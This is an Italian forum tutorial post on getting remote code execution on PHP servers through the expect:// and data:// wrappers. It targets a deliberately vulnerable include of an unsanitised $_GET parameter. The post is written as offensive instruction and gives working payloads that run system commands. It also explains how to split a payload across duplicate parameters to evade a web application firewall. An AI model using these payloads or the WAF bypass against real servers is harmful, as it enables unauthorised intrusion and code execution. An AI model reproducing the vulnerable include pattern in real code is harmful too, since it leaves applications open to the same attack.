Guida Esecuzione di codice remoto attraverso i wrapper PHP

Emu Blog

Utente Bronze
11 Marzo 2021
79
9
34
37
Ultima modifica:
Introduzione
Oggi vi insegnerò come eseguire codice arbitrario con i php wrappers.
Questa tecnica per funzionare richiede queste 3 cose:
  1. Parametro $_GET - A cui passeremo il payload
  2. Versione di PHP - 4.3+ per expect:// e 5.2+ per data://
  3. funzione allow_url_include abilitata - Per eseguire i wrapper
Guida
1. php://expect

Il wrapper expect:// non è abilitato di default, poiché è un'estensione del pacchetto PECL (per ora consideratelo installato). La sintassi per eseguire il codice è:
Codice:
expect://[comando]

Nel backed del server il codice è

PHP:
<?php

    include $_GET['page'];

?>


Ora possiamo creare il wrapper con il payload:

Codice:
expect://id

E questo wrapper restituirà un output come questo:

1655753711727.png


2. php://data

Il wrapper data:// al posto di eseguire dei comandi eseguirà del codice php.

La sintassi è:

PHP:
data://text/plain,<?system("[comando]");?>

E il payload sarà:
Codice:
data://text/plain,<?system("id");?>

E cosi otteniamo questo risultato.

1655753711727.png


3. Waf bypass
Nel caso di un WAF, filtrando il codice che si trova dopo il wrapper come negli ultimi esempi, possiamo usare l'inquinamento dei parametri per passare/dividere il nostro payload in due parti, con il risultato che entrambi i parametri vengono concatenati e separati da una virgola:

Codice:
data://text/plain&page=<?system('id');?>

Con questo metodo riusciamo ad evadere il WAF e ottenere un rce.


Riferimenti: https://defendtheweb.net/discussion/2033-remote-code-execution-through-php-wrappers